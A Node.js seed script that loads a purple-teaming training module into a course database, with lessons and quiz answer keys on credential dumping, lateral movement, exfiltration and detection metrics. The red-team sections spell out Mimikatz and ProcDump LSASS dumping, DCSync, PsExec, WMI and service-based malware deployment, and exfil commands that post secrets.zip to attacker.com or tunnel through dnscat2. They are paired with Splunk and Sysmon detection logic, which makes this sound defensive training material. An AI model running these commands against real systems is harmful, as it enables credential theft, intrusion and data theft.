const db = require('../db');

const overview = {
    id: 41,
    title: 'Purple Teaming Exercises',
    description: 'Hands-on exercises combining offensive execution with defensive detection.',
    learning_path_id: 4
};

const tasks = [
    { id: 411, title: 'Exercise Framework Setup' },
    { id: 412, title: 'Exercise: Credential Dumping' },
    { id: 413, title: 'Exercise: Lateral Movement' },
    { id: 414, title: 'Exercise: Data Exfiltration' },
    { id: 415, title: 'Metrics & Reporting' },
    { id: 416, title: 'Final Quiz' }
];

const lessons = {
    411: {
        content: `# Exercise Framework Setup

Before running exercises, establish a proper framework.

## Prerequisites
*   **Isolated Lab Environment**: Segmented network or cloud VPC.
*   **Monitoring in Place**: SIEM, EDR agents deployed, logging enabled.
*   **Baseline Established**: Know what "normal" looks like.
*   **Communication Channel**: Slack/Teams for real-time coordination.

## Tool Stack
| Role | Tools |
|------|-------|
| **Red** | Atomic Red Team, Caldera, Cobalt Strike |
| **Blue** | Splunk/Elastic, CrowdStrike/Defender, Wireshark |
| **Shared** | MITRE ATT&CK Navigator, Confluence for documentation |

## Exercise Template
\`\`\`markdown
# Exercise: [Technique Name]
**ATT&CK ID**: T1003.001
**Date**: 2024-01-15
**Red Lead**: [Name]
**Blue Lead**: [Name]

## Objective
Test detection of LSASS credential dumping.

## Execution Steps
1. Red executes [command]
2. Blue monitors [data source]

## Expected Detection
- Sysmon Event ID 10 (Process Access) on lsass.exe
- EDR alert for memory read

## Results
- [ ] Detected
- [ ] Partially Detected
- [ ] Not Detected

## Action Items
- Create Splunk alert for Sysmon 10 on lsass
\`\`\``,
        questions: [
            ['Why establish a baseline before exercises?', 'To distinguish attack activity from normal behavior', 'Compare', ['It is required by law', 'To distinguish attack activity from normal behavior', 'To slow things down', 'No reason']],
            ['What should be documented for each exercise?', 'Technique, execution steps, expected detection, results', 'Everything', ['Nothing', 'Technique, execution steps, expected detection, results', 'Only failures', 'Only successes']],
            ['Which tool provides a library of technique tests?', 'Atomic Red Team', 'Library', ['Splunk', 'Atomic Red Team', 'Wireshark', 'Nmap']]
        ]
    },
    412: {
        content: `# Exercise: Credential Dumping

One of the most critical techniques to detect.

## ATT&CK Techniques
*   **T1003.001**: LSASS Memory (Mimikatz)
*   **T1003.002**: SAM Database
*   **T1003.003**: NTDS.dit (DCSync)

## Red Team Execution
\`\`\`powershell
# Mimikatz (T1003.001)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

# ProcDump LSASS (T1003.001)
procdump.exe -ma lsass.exe lsass.dmp

# DCSync (T1003.003)
mimikatz.exe "lsadump::dcsync /domain:corp.local /user:Administrator" exit
\`\`\`

## Expected Telemetry
| Data Source | Indicator |
|-------------|-----------|
| Sysmon Event ID 10 | Process Access to lsass.exe |
| Sysmon Event ID 1 | mimikatz.exe or procdump.exe execution |
| Windows Security 4662 | DCSync (replication rights access) |
| EDR | Credential dumping alert |

## Detection Logic (Splunk)
\`\`\`spl
index=windows EventCode=10 TargetImage="*lsass.exe" 
| where GrantedAccess IN ("0x1010", "0x1410", "0x1438")
| table _time, SourceImage, SourceProcessId, GrantedAccess
\`\`\``,
        questions: [
            ['Which Sysmon Event ID indicates process access to LSASS?', 'Event ID 10', 'Access', ['Event ID 1', 'Event ID 10', 'Event ID 11', 'Event ID 22']],
            ['What is DCSync?', 'Replicating AD credentials by impersonating a domain controller', 'Replication', ['Syncing files', 'Replicating AD credentials by impersonating a domain controller', 'Backing up', 'Logging']],
            ['Which Windows event logs DCSync activity?', 'Security Event 4662 (replication rights)', 'AD', ['Sysmon 1', 'Security Event 4662 (replication rights)', 'Application log', 'System log']]
        ]
    },
    413: {
        content: `# Exercise: Lateral Movement

How attackers spread through the network.

## ATT&CK Techniques
*   **T1021.002**: SMB/Windows Admin Shares
*   **T1021.001**: RDP
*   **T1047**: WMI
*   **T1569.002**: PsExec / Service Execution

## Red Team Execution
\`\`\`powershell
# PsExec (T1569.002)
psexec.exe \\\\target -u admin -p password cmd.exe

# WMI (T1047)
wmic /node:target process call create "powershell -enc [payload]"

# PowerShell Remoting
Enter-PSSession -ComputerName target -Credential $cred

# SMB Copy + Service
copy malware.exe \\\\target\\C$\\Windows\\Temp\\
sc \\\\target create evilsvc binpath= "C:\\Windows\\Temp\\malware.exe"
sc \\\\target start evilsvc
\`\`\`

## Expected Telemetry
| Technique | Indicator |
|-----------|-----------|
| PsExec | Sysmon 1 (PSEXESVC.exe), Service Install (7045) |
| WMI | Sysmon 1 (WmiPrvSE.exe spawning process) |
| PSRemoting | WinRM connections (Event 91, 168) |
| SMB | Network share access (5140, 5145) |

## Detection Focus
*   Rare parent-child: WmiPrvSE.exe → cmd.exe.
*   Service creation by remote user.
*   Authentication from unusual source IPs.`,
        questions: [
            ['What does PsExec create on the remote host?', 'A service (PSEXESVC)', 'Service', ['A file only', 'A service (PSEXESVC)', 'Nothing', 'A registry key']],
            ['Which parent-child relationship is suspicious for WMI?', 'WmiPrvSE.exe spawning cmd.exe or powershell.exe', 'Process tree', ['svchost → notepad', 'WmiPrvSE.exe spawning cmd.exe or powershell.exe', 'explorer → chrome', 'lsass → svchost']],
            ['Windows Event 7045 indicates:', 'A new service was installed', 'Service', ['Login', 'A new service was installed', 'File access', 'Network connection']]
        ]
    },
    414: {
        content: `# Exercise: Data Exfiltration

The attacker's ultimate goal: steal your data.

## ATT&CK Techniques
*   **T1048.003**: Exfil Over Unencrypted Protocol (HTTP)
*   **T1048.002**: Exfil Over Encrypted Protocol (HTTPS)
*   **T1567**: Exfil to Cloud Storage
*   **T1041**: Exfil Over C2 Channel
*   **T1071.004**: DNS Tunneling

## Red Team Execution
\`\`\`powershell
# HTTP POST exfil
Invoke-WebRequest -Uri "http://attacker.com/upload" -Method POST -InFile secrets.zip

# Cloud exfil (Dropbox, Google Drive, etc.)
Invoke-WebRequest -Uri "https://content.dropboxapi.com/2/files/upload" -Method POST -Headers @{"Authorization"="Bearer $token"} -InFile data.zip

# DNS Tunneling
dnscat2 --domain exfil.attacker.com
\`\`\`

## Expected Telemetry
| Technique | Indicator |
|-----------|-----------|
| HTTP/S Exfil | Proxy logs: Large outbound POST |
| Cloud Exfil | Proxy: Uploads to cloud storage domains |
| DNS Tunnel | High volume DNS queries, long subdomains |

## Detection Logic
\`\`\`spl
# Large outbound transfers
index=proxy method=POST bytes_out > 10000000
| stats sum(bytes_out) by src_ip, dest_host

# DNS Tunneling (long subdomain)
index=dns 
| eval subdomain_len=len(mvindex(split(query, "."), 0))
| where subdomain_len > 50
\`\`\``,
        questions: [
            ['What indicates DNS tunneling?', 'High query volume, unusually long subdomains', 'DNS', ['Slow DNS', 'High query volume, unusually long subdomains', 'No DNS', 'Fast DNS']],
            ['Why monitor uploads to cloud storage domains?', 'Attackers exfiltrate to Dropbox, Google Drive, etc.', 'Cloud exfil', ['It is slow', 'Attackers exfiltrate to Dropbox, Google Drive, etc.', 'Cloud is unsafe', 'For compliance']],
            ['Which HTTP method is commonly used for exfiltration?', 'POST', 'Upload', ['GET', 'POST', 'DELETE', 'HEAD']]
        ]
    },
    415: {
        content: `# Metrics & Reporting

Track progress and demonstrate value.

## Key Metrics
| Metric | Formula |
|--------|---------|
| **Detection Rate** | (Detected / Executed) x 100 |
| **Coverage** | Techniques detected / Total ATT&CK techniques |
| **Time to Detect (TTD)** | Timestamp(Alert) - Timestamp(Execution) |
| **MTTR** | Mean time to contain/remediate |

## ATT&CK Navigator Heatmap
*   Color-code by detection status:
    *   🟢 Green: Detected
    *   🟡 Yellow: Partially detected
    *   🔴 Red: Not detected
*   Update after each exercise cycle.

## Executive Report Template
\`\`\`markdown
# Purple Team Quarterly Report

## Summary
- Exercises Conducted: 25
- Overall Detection Rate: 72%
- Techniques Tested: 50 (MITRE ATT&CK)

## Key Wins
- Improved credential dumping detection (0% → 100%)
- New alert for WMI lateral movement

## Gaps Identified
- No visibility into DNS tunneling
- EDR gaps on Linux endpoints

## Recommendations
1. Deploy DNS security solution
2. Extend EDR to Linux servers

## Appendix
[Detailed exercise results]
\`\`\`

## Continuous Improvement
*   Schedule recurring exercises (monthly/quarterly).
*   Prioritize based on threat intel (what are adversaries doing?).
*   Re-test after deploying new detections.`,
        questions: [
            ['What does Detection Rate measure?', 'Percentage of executed techniques that were detected', 'Success', ['Speed', 'Percentage of executed techniques that were detected', 'Cost', 'Size']],
            ['Why use ATT&CK Navigator heatmaps?', 'Visualize detection coverage across techniques', 'Visualization', ['It is pretty', 'Visualize detection coverage across techniques', 'Required by law', 'For fun']],
            ['How often should Purple Team exercises occur?', 'Regularly (monthly or quarterly)', 'Recurring', ['Once ever', 'Regularly (monthly or quarterly)', 'Never', 'Only after breaches']]
        ]
    },
    416: {
        content: `# Final Quiz

Test your Purple Teaming Exercise skills.`,
        questions: [
            ['Which Sysmon event indicates process access to LSASS?', 'Event ID 10', 'Credential', ['1', 'Event ID 10', 'Event ID 11 ', 'Event ID 22']],
            ['PsExec creates what on remote hosts?', 'A service (PSEXESVC)', 'Remote', ['A file', 'A service (PSEXESVC)', 'Nothing', 'A user']],
            ['DNS tunneling is characterized by:', 'Long subdomains, high query volume', 'DNS', ['Fast lookups', 'Long subdomains, high query volume', 'No queries', 'Short names']],
            ['Detection Rate formula:', '(Detected / Executed) x 100', 'Metric', ['Executed / Detected', '(Detected / Executed) x 100', 'Random', 'None']],
            ['What should happen after deploying new detection?', 'Re-test the technique', 'Validate', ['Nothing', 'Re-test the technique', 'Delete old alerts', 'Wait']],
            ['What is Time to Detect (TTD)?', 'Time between execution and alert', 'Speed', ['Time to delete', 'Time between execution and alert', 'Time to report', 'Time to lunch']]
        ]
    }
};

async function createModule() {
    try {
        console.log('🚀 Creating Module 41: Purple Teaming Exercises...\n');
        await db.query(`INSERT INTO modules (id, title, description, display_order, learning_path_id) VALUES (?, ?, ?, ?, ?) ON DUPLICATE KEY UPDATE title = VALUES(title), description = VALUES(description)`, 
            [overview.id, overview.title, overview.description, overview.id, overview.learning_path_id]);
        for (const t of tasks) {
            await db.query(`INSERT INTO tasks (id, module_id, title, is_active, display_order) VALUES (?, ?, ?, 1, ?) ON DUPLICATE KEY UPDATE title = VALUES(title), module_id = VALUES(module_id), is_active=1`,
                [t.id, overview.id, t.title, t.id]);
        }
        for (const [idStr, lesson] of Object.entries(lessons)) {
            const taskId = parseInt(idStr);
            await db.query('DELETE FROM lesson_content WHERE task_id = ?', [taskId]);
            await db.query('DELETE FROM lesson_questions WHERE task_id = ?', [taskId]);
            await db.query('INSERT INTO lesson_content (task_id, content, content_type, reading_time_minutes) VALUES (?, ?, ?, ?)',
                [taskId, lesson.content, 'markdown', 20]);
            for (let j = 0; j < lesson.questions.length; j++) {
                const q = lesson.questions[j];
                await db.query('INSERT INTO lesson_questions (task_id, question_text, correct_answer, question_order, hint, options, case_sensitive) VALUES (?, ?, ?, ?, ?, ?, ?)',
                    [taskId, q[0], q[1], j + 1, q[2], JSON.stringify(q[3]), 0]);
            }
        }
        console.log(`✅ Module 41 Created!\n`);
        process.exit(0);
    } catch (error) {
        console.error('Error:', error);
        process.exit(1);
    }
}
createModule();
